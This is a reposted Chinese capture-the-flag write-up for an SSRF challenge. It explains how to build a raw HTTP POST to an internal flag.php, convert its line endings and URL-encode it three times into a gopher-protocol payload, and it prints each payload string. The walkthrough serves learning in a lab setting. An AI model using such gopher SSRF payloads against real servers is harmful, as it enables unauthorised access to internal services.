转载自csdn的bfengj师傅
根据题目:这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.我准备了一个302.php,可能对你有用哦。
我们首先知道已经有了302.php,而且应该是需要我们利用SSRF发一个POST的请求。SSRF发送POST请求,自然而然就想到了gopher。同时题目中也提到了curl,而curl正好是支持gopher协议的,因此这题大概率就是利用gopher发送一个POST请求,然后获得flag。
我们进入之后可以试试flag.php,果然存在flag.php,不过需要从127.0.0.1进行访问。我们访问一下:
我们看到了key参数,大概率就是POST请求访问flag.php,同时带上key参数,但是得利用gopher。
我们再访问一下302.php,得到了源码:
说明302.php这里存在了一个302跳转。
我们首先构造一个POST请求。下面的是最基本的POST请求,也就是说如果构造POST,至少下面这些的内容一定要有。
1 | POST /flag.php HTTP/1.1 |
注意Content-Length那里,必须和你的POST请求长度一样,不然结果就出不了。
接下来我们要把这个POST请求进行一次URL编码:
1 | POST%20%2Fflag.php%20HTTP%2F1.1%0AHost%3A%20127.0.0.1%3A80%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0AContent-Length%3A%2036%0A%0Akey%3D8a6d748f4f820709cd9e444991d49dd0 |
这里又是一个问题,首先就是对换行的处理。如果你的POST请求编码出来的换行是%0A,就需要把%0A改成%0D%0A:
1 | POST%20%2Fflag.php%20HTTP%2F1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A%2036%0D%0A%0D%0Akey%3D8a6d748f4f820709cd9e444991d49dd0 |
然后还要再进行2次URL编码,也就是说一共要进行三次URL编码,我当时就是因为只进行了2次,就没弄到flag。
最终:
1 | POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253D8a6d748f4f820709cd9e444991d49dd0 |
然后用burp进行请求就可以了:
成功获得flag。
ps:最后附上一个自己写的转换payload脚本,上面师傅的’/‘其实可以不用转换成url编码
1 | import urllib.parse |